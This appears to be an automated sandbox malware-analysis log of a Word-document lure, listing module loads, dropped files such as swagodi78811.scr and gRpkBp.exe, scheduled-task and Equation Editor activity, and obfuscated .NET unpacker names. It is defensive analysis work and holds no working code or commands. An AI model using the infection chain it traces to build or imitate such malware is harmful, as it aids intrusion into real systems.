Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: credssp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: bcrypt.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: bcrypt.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: credssp.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: rpcrtremote.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Section loaded: gpapi.dll

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32

Jump to behavior

Source: order072724.docx.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\order072724.docx.doc

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: order072724.docx.doc

Initial sample: OLE zip file path = word/_rels/settings.xml.rels

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: lxqb.pdbSHA256 source: swagodi78811.scr.9.dr, gRpkBp.exe.10.dr, swagodi[1].scr.9.dr
Source:	Binary string: lxqb.pdb source: swagodi78811.scr.9.dr, gRpkBp.exe.10.dr, swagodi[1].scr.9.dr

Source: order072724.docx.doc

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

.NET source code contains potential unpacker

Source: swagodi[1].scr.9.dr, frmMain.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: swagodi78811.scr.9.dr, frmMain.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: gRpkBp.exe.10.dr, frmMain.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 10.2.swagodi78811.scr.620000.0.raw.unpack, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 10.2.swagodi78811.scr.620000.0.raw.unpack, PingPong.cs	.Net Code: Justy
Source: 10.2.swagodi78811.scr.2127a8c.3.raw.unpack, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 10.2.swagodi78811.scr.2127a8c.3.raw.unpack, PingPong.cs	.Net Code: Justy
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	.Net Code: JKVNGoEM53 System.Reflection.Assembly.Load(byte[])
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	.Net Code: JKVNGoEM53 System.Reflection.Assembly.Load(byte[])
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	.Net Code: JKVNGoEM53 System.Reflection.Assembly.Load(byte[])

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_0055C152 pushad ; retn 0055h	9_2_0055C209
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00558F60 push eax; retf	9_2_00558F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_005501F4 push eax; retf	9_2_005501F5
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0020D6DC pushad ; iretd	20_2_0020D6E1
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 22_2_0025BEF0 push esp; iretd	22_2_0025BEF5

Source: swagodi[1].scr.9.dr	Static PE information: section name: .text entropy: 7.981247900601898
Source: swagodi78811.scr.9.dr	Static PE information: section name: .text entropy: 7.981247900601898
Source: gRpkBp.exe.10.dr	Static PE information: section name: .text entropy: 7.981247900601898

Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, j3BhvJfAOoaHD0q32a.cs	High entropy of concatenated method names: 'oCj2eDBcCM', 'JaW2iA9Shr', 'ddt2ClWngX', 'FIY2aAsKsC', 'p1U2ciuS8Z', 'W8a2R6Qk6O', 'RK22m0CAQS', 'VH823G70HW', 'rZE2MquQ1x', 'xS42oL7F1b'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, HJDXHuKnd7XJBuPZf8.cs	High entropy of concatenated method names: 'VQwabmJbTU', 'YA1apxOieF', 'PDpC1Jwrfu', 'p4qCvpYjob', 'ELPCsoNZJB', 'Y3mCSof5J3', 'DE0ChOHF2L', 'EMICI31HMa', 'YcKCk7pH9G', 'XeFCB6xw5g'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, qQF8AtuGm7BarQ18w7.cs	High entropy of concatenated method names: 'osJGfVktE', 'yijtXqxT0', 'H9dlqJ1vP', 'l0tpnoGrT', 'hiFw20lAp', 'nnm8PcMMq', 'rguij3rCiOn6f9gJi0', 'PB6ujyyY1f7AbyHI8I', 'p7p2OvtQZ', 'ksLWAKYLu'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, z6pv7rdU5kvjgZPMj0.cs	High entropy of concatenated method names: 'Dispose', 'nW9fJC7Y49', 'DbSyqXsEqa', 'F4S44OKEic', 'dBqf5eebKK', 'bmCfzmgl0C', 'ProcessDialogKey', 'Em9ygDklGk', 'oUryfpdjQR', 'SSUyySyXDq'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, FUjasOohxIjsRf91GS.cs	High entropy of concatenated method names: 'QY7iYDoJHp', 'HGniXUdcD2', 'qaeiDhlvpC', 'fXZindkmGt', 'Qdbi7EY5ul', 'yFjiHZXGLb', 'VkgiTNqoxL', 'mt3irTCkBH', 'po4iJKsJYx', 'WkKi5YeoWS'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, j8Qml7kLfnNplRy1hI.cs	High entropy of concatenated method names: 'DOt2KMq3tY', 'rcR2qVb5bW', 'pOH21Mf1R0', 'KYX2vQlNAY', 'Clc2Y9w2VL', 'Usq2sk1HZ1', 'Next', 'Next', 'Next', 'NextBytes'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, EBUmNYVABALmIokp9f.cs	High entropy of concatenated method names: 'Y0wReJBW83', 'kRIRCa3nF5', 'DBGRcmxh28', 'qUSc57WdB3', 'Twacz4txuK', 'aQZRg4qWQl', 'iJRRfmHiMd', 'FpLRymxihp', 'HHDR0n8o0R', 'RIDRNVvTaT'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	High entropy of concatenated method names: 'aZF0EdgrJe', 'XCE0eNq9fR', 'oh80iGKxUq', 'Gcd0CnkGDE', 'QoV0ai0QbB', 'BaS0cwTBbG', 'QVt0Rd984F', 'Ctb0m4CNRf', 'XG403njMfh', 'G1b0MNIsyQ'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, vPbiHgzJKkLT4EtXh3.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'PbYuFdJMwo', 'CjcuZxY51I', 'GP4udf1xpT', 'Coau61FgV5', 'Vavu2BTrfo', 'KfQuuIFyY8', 'KcwuWRKZn4'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, OK3X7QZlBJ2Zm72Re2.cs	High entropy of concatenated method names: 'W5dcEHYqZd', 'u04ciTu9P4', 'IjUcak9BTV', 'wPicRDNdtP', 'AtkcmSDl9T', 'JRUa7jb0e8', 'xhyaHNAwU7', 'dIEaTR3t5S', 'RRfarKYrOd', 'dE2aJjBOcd'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, BxSxBGjWdM9kRNhawOJ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uLyWYQt1J1', 'ntAWXjb1oF', 'tMbWDQXAA4', 'yyvWnOhsqR', 'xwMW7b4QF9', 'u9LWH62pAZ', 'w5BWTq7rLQ'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, MyqKeWG6lullt0slAL.cs	High entropy of concatenated method names: 'qoTfRfySDo', 'WDUfmARhGB', 'D5DfMTcmKU', 'hpvfoT1iK1', 'gJpfZgtP6h', 'KQHfduWWyQ', 'rpcRSoIBQ57BUDmqdc', 'pt9w83Gsp9iPf1InfV', 'FcEnRUpTEb5MKOcRhJ', 's4xff3HfnC'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, EAjgrar6JjgJlO01q9.cs	High entropy of concatenated method names: 'aSRFjlyn2x', 'vxRFwAFjdh', 'jryFKcHqba', 'fHVFqHDoJF', 'UK6FvAkYsr', 'LDgFsd5Y1Q', 'NYIFhi8moa', 'mf8FIVq6Fn', 'lduFBZwfXs', 'hBwFAIj86Z'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, Ii3oNOI3i98I4b04u6.cs	High entropy of concatenated method names: 'XP4CtRh3Rw', 'uk8Cl6BJ4p', 'Ov5Cj5O8Un', 'PEhCwQyQDa', 'd4PCZqsr3O', 'adOCdCmPCL', 'r8JC6TUyKA', 'JacC2ZdWhA', 'FniCurWda9', 'CSLCW1I9nQ'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, bAbhZUjcvmmSaJhbsMu.cs	High entropy of concatenated method names: 'a1QuL0NrFj', 'ONVuPaqeba', 'INZuG8RCQ2', 'VKZutCaFmt', 'WfLub5VBqG', 'w6huld8LP4', 'W9Hup6uLp7', 'lPLujRbM8p', 'vh6uwnK1Dx', 'ba9u8JVBns'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, pTdTlrEvmDRRL24B7c.cs	High entropy of concatenated method names: 'qdRRLd68xx', 'lYIRPM5JdT', 'v2NRGGqMUw', 'E0NRtcHWQm', 'XKCRbYYOpw', 'KGORlovOAo', 'ke6Rp4c9Iy', 'QlqRjDVbOK', 'qC3RwabaDR', 'ResR8jShpu'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, VbQFPTPSSxlurm7Wrc.cs	High entropy of concatenated method names: 'ToString', 'cmUdAoPhyV', 'yUYdqR2gjr', 'PQBd1RjlCh', 'xXmdvsCk0W', 'o8adscFbKZ', 'QMydS4V73y', 'VP3dhSoxI5', 'KwCdIb2vYd', 'q7FdkcfdiR'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, dbodLQg9g3GrmB8wGu.cs	High entropy of concatenated method names: 'FwMufWDisn', 'uFUu0XS7Hm', 'spAuNCsuSQ', 'wgFueLJeUB', 'JmTuicD9Bv', 'X45uai6KN5', 'x22ucnVePH', 'xkB2T8DDnE', 'cFQ2rxbPH5', 'Syo2JdYRsB'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, QQ1L22qkxrIU3E6iOb.cs	High entropy of concatenated method names: 'cTOZBFPV2q', 'wGAZVtmrmD', 'RLGZYVLWlq', 'NeFZXcUB27', 'tWiZqouw15', 'kDxZ10LenO', 'acJZvcUTuS', 'GflZs32HuT', 'kNFZSQcZoH', 'AkUZhGN0MA'
Source: 10.2.swagodi78811.scr.3508af0.7.raw.unpack, vOisVsp2ujdyCRDr6Q.cs	High entropy of concatenated method names: 'K2J6rGwcc3', 'rT265rhMrY', 'gaI2gntTs8', 'apL2fUpbUs', 'I0M6AwqGw8', 'Quj6VvdrUi', 'i1m6xnhB7E', 'xhH6YkTWZT', 'RT56XrsYb3', 'q5u6DgDon5'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, j3BhvJfAOoaHD0q32a.cs	High entropy of concatenated method names: 'oCj2eDBcCM', 'JaW2iA9Shr', 'ddt2ClWngX', 'FIY2aAsKsC', 'p1U2ciuS8Z', 'W8a2R6Qk6O', 'RK22m0CAQS', 'VH823G70HW', 'rZE2MquQ1x', 'xS42oL7F1b'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, HJDXHuKnd7XJBuPZf8.cs	High entropy of concatenated method names: 'VQwabmJbTU', 'YA1apxOieF', 'PDpC1Jwrfu', 'p4qCvpYjob', 'ELPCsoNZJB', 'Y3mCSof5J3', 'DE0ChOHF2L', 'EMICI31HMa', 'YcKCk7pH9G', 'XeFCB6xw5g'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, qQF8AtuGm7BarQ18w7.cs	High entropy of concatenated method names: 'osJGfVktE', 'yijtXqxT0', 'H9dlqJ1vP', 'l0tpnoGrT', 'hiFw20lAp', 'nnm8PcMMq', 'rguij3rCiOn6f9gJi0', 'PB6ujyyY1f7AbyHI8I', 'p7p2OvtQZ', 'ksLWAKYLu'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, z6pv7rdU5kvjgZPMj0.cs	High entropy of concatenated method names: 'Dispose', 'nW9fJC7Y49', 'DbSyqXsEqa', 'F4S44OKEic', 'dBqf5eebKK', 'bmCfzmgl0C', 'ProcessDialogKey', 'Em9ygDklGk', 'oUryfpdjQR', 'SSUyySyXDq'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, FUjasOohxIjsRf91GS.cs	High entropy of concatenated method names: 'QY7iYDoJHp', 'HGniXUdcD2', 'qaeiDhlvpC', 'fXZindkmGt', 'Qdbi7EY5ul', 'yFjiHZXGLb', 'VkgiTNqoxL', 'mt3irTCkBH', 'po4iJKsJYx', 'WkKi5YeoWS'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, j8Qml7kLfnNplRy1hI.cs	High entropy of concatenated method names: 'DOt2KMq3tY', 'rcR2qVb5bW', 'pOH21Mf1R0', 'KYX2vQlNAY', 'Clc2Y9w2VL', 'Usq2sk1HZ1', 'Next', 'Next', 'Next', 'NextBytes'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, EBUmNYVABALmIokp9f.cs	High entropy of concatenated method names: 'Y0wReJBW83', 'kRIRCa3nF5', 'DBGRcmxh28', 'qUSc57WdB3', 'Twacz4txuK', 'aQZRg4qWQl', 'iJRRfmHiMd', 'FpLRymxihp', 'HHDR0n8o0R', 'RIDRNVvTaT'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	High entropy of concatenated method names: 'aZF0EdgrJe', 'XCE0eNq9fR', 'oh80iGKxUq', 'Gcd0CnkGDE', 'QoV0ai0QbB', 'BaS0cwTBbG', 'QVt0Rd984F', 'Ctb0m4CNRf', 'XG403njMfh', 'G1b0MNIsyQ'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, vPbiHgzJKkLT4EtXh3.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'PbYuFdJMwo', 'CjcuZxY51I', 'GP4udf1xpT', 'Coau61FgV5', 'Vavu2BTrfo', 'KfQuuIFyY8', 'KcwuWRKZn4'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, OK3X7QZlBJ2Zm72Re2.cs	High entropy of concatenated method names: 'W5dcEHYqZd', 'u04ciTu9P4', 'IjUcak9BTV', 'wPicRDNdtP', 'AtkcmSDl9T', 'JRUa7jb0e8', 'xhyaHNAwU7', 'dIEaTR3t5S', 'RRfarKYrOd', 'dE2aJjBOcd'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, BxSxBGjWdM9kRNhawOJ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uLyWYQt1J1', 'ntAWXjb1oF', 'tMbWDQXAA4', 'yyvWnOhsqR', 'xwMW7b4QF9', 'u9LWH62pAZ', 'w5BWTq7rLQ'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, MyqKeWG6lullt0slAL.cs	High entropy of concatenated method names: 'qoTfRfySDo', 'WDUfmARhGB', 'D5DfMTcmKU', 'hpvfoT1iK1', 'gJpfZgtP6h', 'KQHfduWWyQ', 'rpcRSoIBQ57BUDmqdc', 'pt9w83Gsp9iPf1InfV', 'FcEnRUpTEb5MKOcRhJ', 's4xff3HfnC'
